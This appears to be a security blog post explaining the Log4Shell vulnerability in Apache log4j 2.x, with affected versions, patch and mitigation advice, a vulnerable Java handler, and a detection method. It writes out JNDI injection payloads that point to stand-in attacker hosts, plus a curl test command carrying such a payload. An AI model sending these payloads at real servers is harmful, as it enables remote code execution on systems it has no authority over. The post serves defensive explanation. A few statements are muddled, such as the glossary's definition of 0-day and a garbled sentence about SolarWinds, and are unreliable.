A recently discovered 0-day vulnerability in a widely used Java logging library has turned into a massive security meltdown affecting the digital systems of organizations around the world.
Glossary: 0-day refers to a flaw that has been disclosed to the public but not yet patched. Thus, it is susceptible to attacks.
Security researchers issue strong words that this vulnerability, due to being present in a popular library, can have repercussions all over the world.
Attackers are already giving it their best shot to exploit this vulnerability. Reports have found malware like Bots and Worms, already being developed and spread to automatically exploit this vulnerability on susceptible systems.
These malware attack the vulnerability in systems using the log4j Java logging library and use it for malicious Remote Code Execution(RCE).
Glossary: RCE stands for Remote Code Execution. It means attackers can remotely execute code on a system without physical access to it.
This gives them full control of the system and it compromises the security of other connected systems in the same network. An attacker with malicious intent and full privileges of a system can wreak havoc on any big enterprise. A good example of this is the very recent SolarWinds log4j or log4shell is referred to as a massive design flaw in the Java library.
The log4j vulnerability was tweeted and further, a POC(Proof-Of-Concept) was uploaded on Github.
This post provides a detailed rundown of the vulnerability along with pointers on how to defend your systems from the log4j attack vector.
Who is impacted by log4j Vulnerability?
Innumerable web applications around the world have been affected by this vulnerability. Even though the Java programming language may not be too popular among consumers, the Java library is still a solid choice to build enterprise systems and web applications.
As a result, this vulnerability has compromised the security of mass services including big names like Apple Cloud, Tesla, Steam, Apache, Twitter, Minecraft, Amazon Apache Solr, Baidu, NetEase, CloudFlare, Kafka, Ghidra, and so on.
A more comprehensive list of the attack surface of this exploit can be found on this GitHub page.
It has been further demonstrated that simply changing the iPhone name can trigger this vulnerability on Apple Servers. Hopefully, this gives you an idea of how fragile this vulnerability is.
Since the flaw sits deep in a foundational piece of code, it is very difficult to grasp an idea of the scope the severity of the attack. Security teams and researchers are working double-time to find an answer to resolve this dilemma.
Affected Apache log4j Versions
2.0 <= Apache log4j <= 2.14.1
This means all the versions between Apache log4j 2.0 to 2.14.1 are susceptible to this attack.
How to Fix log4j2 Vulnerability
Researchers have come up with both, a temporary solution to resolve the threat and a permanent, more stable solution. In case you are unable to patch the system for any reason, follow through with the temporary mitigation technique to secure your system until you download the patch and install it.
Permanent Mitigation of the Threat
A new version v2.15.0rc1 of log4j library was released without the vulnerability and was made available for the public to download and patch their systems.
However, soon a bypass was found to the fix, rendering it useless. Thus a new version v2.15.0rc2 was soon released with the fix.
You can download the latest version from the download page here.
Temporary Mitigation of the Threat
As per a discussion on the Hackernews forum, you can take these steps:
LOG4J2-2109 1 day ago | parent | context | favorite | on: Log4j RCE Found
The ‘formatMsgNoLookups’ property was added in version 2.10.0, per the JIRA Issue LOG4J2-2109 [1] that proposed it. Therefore the ‘formatMsgNoLookups=true’ mitigation strategy is available in version 2.10.0 and higher, but is no longer necessary with version 2.15.0, because it then becomes the default behavior [2][3].
If you are using a version older than 2.10.0 and cannot upgrade, your mitigation choices are:
– Modify every logging pattern layout to say %m{nolookups} instead of %m in your logging config files, see details at https://issues.apache.org/jira/browse/LOG4J2-2109
or
– Substitute a non-vulnerable or empty implementation of the class org.apache.logging.log4j.core.lookup.JndiLookup, in a way that your classloader uses your replacement instead of the vulnerable version of the class. Refer to your application’s or stack’s classloading documentation to understand this behavior.
[1] https://issues.apache.org/jira/browse/LOG4J2-2109 [2] https://github.com/apache/logging-log4j2/pull/607/files [3] https://issues.apache.org/jira/browse/LOG4J2-3198
How Does the Exploit work?
The working of the exploit can be better explained in this breakdown. We have also provided a sample code for you to try and test it out (STRICTLY on your own machines).
Steps:
- Data from the attacker is sent to the server via any transmission protocol.
- The server logs the data as request, containing malicious payload:
${jndi:ldap://hackerr.com/a}In this code,hackerr.comis a hacker-owned server. - The payload triggers the log4j vulnerability and it makes the server send a request to
hackerr.comvia the JNDI(Java Naming and Directory Interface) - This response carries a path to a remote java class file example
://stage-two.hackerr.com/malicios.classwhich is injected into the server process. - This payload, once injected, triggers stage two which allows hackers to remotely execute arbitrary code.
Sample Exploit Code for logj4shell vulnerability
The following code demonstrates the working of the exploit. Code courtesy of LunaSec.
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import java.io.*;
import java.sql.SQLException;
import java.util.*;
public class VulnerableLog4jExampleHandler implements HttpHandler {
static Logger log = LogManager.getLogger(VulnerableLog4jExampleHandler.class.getName());
/**
* A simple HTTP endpoint that reads the request's User Agent and logs it back.
* This is basically pseudo-code to explain the vulnerability, and not a full example.
* @param he HTTP Request Object
*/
public void handle(HttpExchange he) throws IOException {
String userAgent = he.getRequestHeader("user-agent");
// This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.
// The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}
log.info("Request User Agent:{}", userAgent);
String response = "<h1>Hello There, " + userAgent + "!</h1>";
he.sendResponseHeaders(200, response.length());
OutputStream os = he.getResponseBody();
os.write(response.getBytes());
os.close();
}
}
How to Identify if Your Server is vulnerable?
You need to make sure that your systems are safe from breaches. In order to verify the integrity and security of your systems, you can make use of a DNS logger(for instance, dnslog.cn). Generate a domain name and use it to test your systems against this exploit.
If you prefer to use another service as your DNS logger, once google search will list all the top names to try.
Sample test payload:
curl 127.0.0.1:8080 -H 'XYZ-Api-Version ${jndi:ldap://xxx.dnslogger.xyz/a}'
Word of Caution:
While testing sensitive security infrastructure, information sent to DNS logger sites can be recorded and later used by the owner to exploit systems.
To test your system in a better, more discrete way, you can set up your own DNS authoritative Server.
Java vulnerabilities are very common in the world of infosec. Several security researchers have created tools to exploit them through automation. Thus, it is good to be aware of threats you can face if you own a Java-based application for your business.
We hope the article proved to be of value to you and that by the end of it, you were informed and conscious about the ongoing persistent threats that web applications and enterprises around the world are facing. You could also be one of them. Refer to the curated solutions to resolve your situation.